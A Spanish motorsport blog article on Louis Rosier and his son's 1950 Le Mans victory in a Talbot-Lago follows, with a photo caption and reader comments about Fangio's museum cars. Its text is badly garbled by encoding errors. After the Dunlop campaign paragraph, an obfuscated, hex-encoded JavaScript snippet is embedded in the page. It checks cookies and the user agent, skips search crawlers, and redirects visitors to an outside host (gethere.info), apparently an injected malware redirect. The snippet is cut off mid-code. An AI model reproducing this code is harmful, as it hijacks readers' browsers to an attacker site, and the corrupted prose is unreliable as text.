En el nombre del padreai??i?? A?y el hijo?

Master
Le Mans, France. 24th - 25th June 1950.
Louis Rosier/Jean-Louis Rosier (Talbot Lago T26 GS), 1st position, chases Charles Brackenbury/Reg Parnell (Aston Martin DB2), 6th position, action. 
World Copyright: LAT Photographic.
Ref: Autocar Glass Plate C27262.
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Le Mans, France. 24th - 25th June 1950. Louis Rosier/Jean-Louis Rosier (Talbot Lago T26 GS), 1st position, chases Charles Brackenbury/Reg Parnell (Aston Martin DB2), 6th position, action. World Copyright: LAT Photographic. Ref: Autocar Glass Plate C27262.

Nadie sabe a ciencia cierta que tanto de gloria correspondiA? al padre y cuanto al hijo, lo A?nico que realmente quedA? claro es que fue un triunfo de la resistencia y la constancia de un A?nico hombre.

La combinaciA?n formada por auto y piloto era lo suficientemente veloz y confiable para aguantar el empuje de los modelos mA?s novedosos. La experiencia obtenida en tiempos de guerra, unida a la capacidad de austeridad conseguida en Ai??poca de paz, le convirtieron en un sAi??mbolo para Francia.

Louis Rosier era el dueAi??o de un concesionario Renault de cierto Ai??xito en la zona de Clermont-Ferrand. PoseAi??a una mentalidad de acero forjada en su lucha junto a la resistencia, que le sirviA? de gran ayuda a la hora de viajar a travAi??s de Europa para liberar a su esposa y su hija de un campo de concentraciA?n.

La compra de un Talbot en el aAi??o 1946 supuso un nuevo amanecer para Ai??l (a pesar de lo anticuado de su tecnologAi??a, el hecho de haber manejado uno en Le Mans en 1938 habAi??a sido uno de los recuerdos en los que mA?s se apoyA? durante la guerra). Con una apariencia comprensiblemente mayor que la que merecAi??an sus 40 aAi??os de edad, su Ai??poca mA?s temeraria (conducAi??a Harley-Davidson estropeadas a travAi??s de senderos montaAi??osos de tierra en su juventud) hacAi??a tiempo que habAi??a quedado atrA?s. ConocAi??a sus lAi??mites y conducAi??a acorde a los mismos: los kilA?metros por litro se habAi??an convertido en algo tanto o mA?s importante que los kilA?metros por hora.

Su meticuloso estilo no sA?lo lo convirtiA? en campeA?n en varias ocasiones, sino que cambiA? el curso de la competiciA?n. Su inesperada victoria sin parar a repostar en el Gran Premio de BAi??lgica de 1949, hizo plantearse a Ferrari si su turbocompresor era un derroche de fuerzas. Sin embargo, la ediciA?n de 1950 de las 24 Horas de Le Mans de 1950 iban a ser diferentes.

Rosier no tenAi??a ninguna intenciA?n de ser la liebre, pero tampoco podAi??a jugar a ser la tortuga. Su controvertida participaciA?n fue con un auto equipado con algunos pequeAi??os aditamentos aerodinA?micos, un puAi??ado de faros y una denominaciA?n ai???Grand Sportai???. Su Talbot-Lago parecAi??a un tractor viejo comparado con los flamantes V12 de Ferrari, pero sus mA?s de 200 caballos le convertAi??an en favorito incluso antes de la salida. Esta vez, Rosier estaba en el punto de mira.

Su incontrolable compatriota Raymond Sommer (su carrera era la antAi??tesis de la de Rosier, a pesar de ser un aAi??o mA?s joven) marcaba el ritmo en la Ferrari 195S Berlinetta que compartAi??a con el as del motociclismo ai???Dorinoai??? Serafini. Pero el Talbot-Lago, despuAi??s de una lenta escapada, escalA? posiciones durante el caA?tico y supuestamente programado pit stop de sus principales rivales.

Empujando y cada vez mA?s alejado, Rosier parecAi??a inamovible, solo y acompaAi??ado A?nicamente de sus pensamientos, mientras su compaAi??ero de equipo permanecAi??a inquieto en el box, preguntA?ndose cuA?ndo o incluso si llegarAi??a en algA?n momento su oportunidad.

Louis Rosier Jr. (llamado en ocasiones Jean-Louis en un intento de evitar la confusiA?n) habAi??a sido nombrado compaAi??ero de equipo de su padre en 1949, pero un sobrecalentamiento causado por la rotura de una correa del ventilador le hizo abandonar despuAi??s de 21 vueltas. La aportaciA?n del joven de 25 aAi??os en 1950 (su padre participA? con 44 aAi??os) es algo que, debido a la destrucciA?n de los documentos oficiales de la Ai??poca y a las versiones contradictorias de los medios especializados contemporA?neos, sigue llevA?ndose a debate.

La discordancia aparecAi??a incluso en el seno familiar. El hijo reclamaba un perAi??odo de tres horas, con dos vueltas adicionales durante la hora trece para permitir a su padre recuperar fuerzas, despuAi??s de 45 minutos malgastados reemplazando un eje del balancAi??n roto. Ai??l decAi??a que toda la confusiA?n fue causada por el hecho de compartir nombre y por el sistema de megafonAi??a. Esta versiA?n de los hechos fue reafirmada por su madre, que no consideraba a su marido lo suficientemente capacitado para conducir durante 23 horas y media seguidas.

El padre, sin embargo, insistAi??a en que la cuota de Junior no era mayor de treinta minutos, los mA?s incA?modos para Ai??l de toda la carrera. Satisfecho con permitirle copilotar (en 1949 lograron la victoria en Monte con un Renault 4CV), Senior nunca tuvo ningA?n reparo en tirar de rango y comentar la peligrosa inexperiencia de su descendencia en la materia. ai???Es demasiado lento, si sigue asAi?? se va a acabar matandoai???. Que Junior volviera a conducir un 4CV en 1951, mientras que su padre compartAi??a un Talbot-Lago con nada mA?s y nada menos que Juan Manuel Fangio, lo decAi??a todo.

Rosier era un experimentado mecA?nico, con tanta habilidad con los reglajes y con una consistencia tan precisa al volante que enfureciA? a sus rivales y desgastA? a partes iguales sus A?nimos y su mecA?nica. A?Resultado? Los cinco Ferrari presentes en 1950 en Le Mans se retiraron.

Su actuaciA?n tuvo de todo: logrA? el primer rAi??cord de vuelta en La Sarthe a mA?s de 160 kilA?metros por hora y durante la noche chocA? con un bA?ho, lo que le ocasionA? la rotura del parabrisas y sus gafas, ademA?s de mA?ltiples cortes en la cara. Y despuAi??s de una averAi??a mecA?nica que le costA? la pAi??rdida de sus siete vueltas de ventaja, se pasA? las siguientes cuatro horas recuperando su liderato, con una multitud que gritaba enfervorecida con cada vuelta.

Su valiente hazaAi??a hizo de Rosier un hAi??roe y, despuAi??s del mortal accidente de Sommer en septiembre de ese mismo aAi??o, se convirtiA? en el mejor piloto de Francia. No obstante, sabAi??a reconocer sus lAi??mites y su lugar. Su equipo marcA? el origen de una nueva generaciA?n de talento francAi??s y se convirtiA? en la cara visible de una campaAi??a para crear un circuito en Clermont-Ferrand, un circuito que, por desgracia, serAi??a nombrado en su memoria y en su honor.

La muerte de Rosier en octubre de 1956, tres semanas despuAi??s de sufrir un accidente a los mandos de un Ferrari 750 Monza en MotlhAi??ry, fue llorada por todo el paAi??s. Para Francia, Le Mans es su competiciA?n mA?s importante y la suya fue la mayor exhibiciA?n de fortaleza jamA?s vista sobre su pista.

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Este relato de la hazaAi??a de Louis Rosier fue escritoAi??por Paul Fearnley y hace parte de la campaAi??a “Great Fightbacks” desarrollada por la marca de neumA?ticos Dunlop, en la que se relatan diez grandes momentos en la historia del automovilismo, protagonizadas obviamente por autos calzados con neumA?ticos de esta marca.

Los interesados tienen la oportunidad de votar su historia favorita en www.greatfightbacks.com desde el 21 de enero de 2016 hasta el 29 de febrero. Durante las prA?ximas semanas, Dunlop irA? desvelando las diez historias por orden cronolA?gico.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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8 Comentarios, RSS

  1. José del Castillo 29/01/2016 @ 8:02 am

    En el museo de Balcarce hay uno, ¿alguien sabe si es original o una recreación?
    Seguramente uno de los autos con más carisma de la época.

  2. Beppe Viola 29/01/2016 @ 10:58 am

    Seguramente no es el mismo auto que corriò Fangio y Rosier en Le Mans ’51, (s/n 110057) que fue subastado hace un par de anios en Monaco.

  3. Kuve 01/02/2016 @ 11:47 am

    Jose, es replica el del Museo Fangio. Tengo entendido que no hay ningun auto original de Fangio de su etapa internacional en el museo.

  4. José del Castillo 01/02/2016 @ 12:21 pm

    Gracias Kuve, era de suponer.

  5. Javier M 07/02/2016 @ 10:06 am

    En un reportaje hecho en los 90, Junior declaró que se había sentido mal y su participación fue mínima.
    Louis Rosier era metódico y extremadamente preciso para conducir, las especulaciones sobre su muerte apuntaron a un ataque cardíaco.
    Un grande entre grandes.

  6. Carlos Moyano 12/09/2016 @ 4:32 am

    kUVE, EL MASERATI QUE SE ENCUENTRA EN EL MUSEO Fangio de Balcarce, es el único auto original con el que ganara un campeonato del mundo que se encuentra en el museo, eso es porque era un auto comprado en forma particular. Todos los demás autos con los que gano los 5 campeonatos se encuentran en sus fabricas originales, con excepción de una de las flechas de plata (mercedes) que se encuentra en una colección privada y creo que la ultima vez que se subastó alcanzó los U$S30.000.000 aproximadamente

    • Beppe Viola 27/12/2016 @ 7:45 am

      La Maserati 250f del Museo es una Camerón Millar (más exactamente s/n CM3) construida en los años 70 utilizando material original Maserati (motor, transmisión, suspensiones, etc) relevados por Cameron a la Scuderia Centro Sud de Mimmo Dei.
      Son réplicas perfectas, se hicieron 10 a lo largo de 15 años y más bajo es el número de serie, más piezas originales Maserati tiene…
      La única Fábrica que tiene todos los autos con los quales corrió Fangio es Alfa Romeo…. Mercedes Benz tiene todos menos uno (el W194-008 que Ud nombró) …de las Lancia-Ferrari D50 no queda ni una original, y las 250f están desparramadas por todo el mundo…

  7. José del Castillo 26/12/2016 @ 8:15 pm

    Respecto del comentario de Carlos Moyano sobre la autenticidad de la Maserati del Museo Fangio, me remito a lo dicho en otro post por Don Beppe Viola (fuente de toda razón y justicia) y que afirma que dicho auto sería una réplica hecha por Cameron Millar en Inglaterra. Entonces, ¿que es?
    Me encantó el artículo sobre Rosier y el Talbot.

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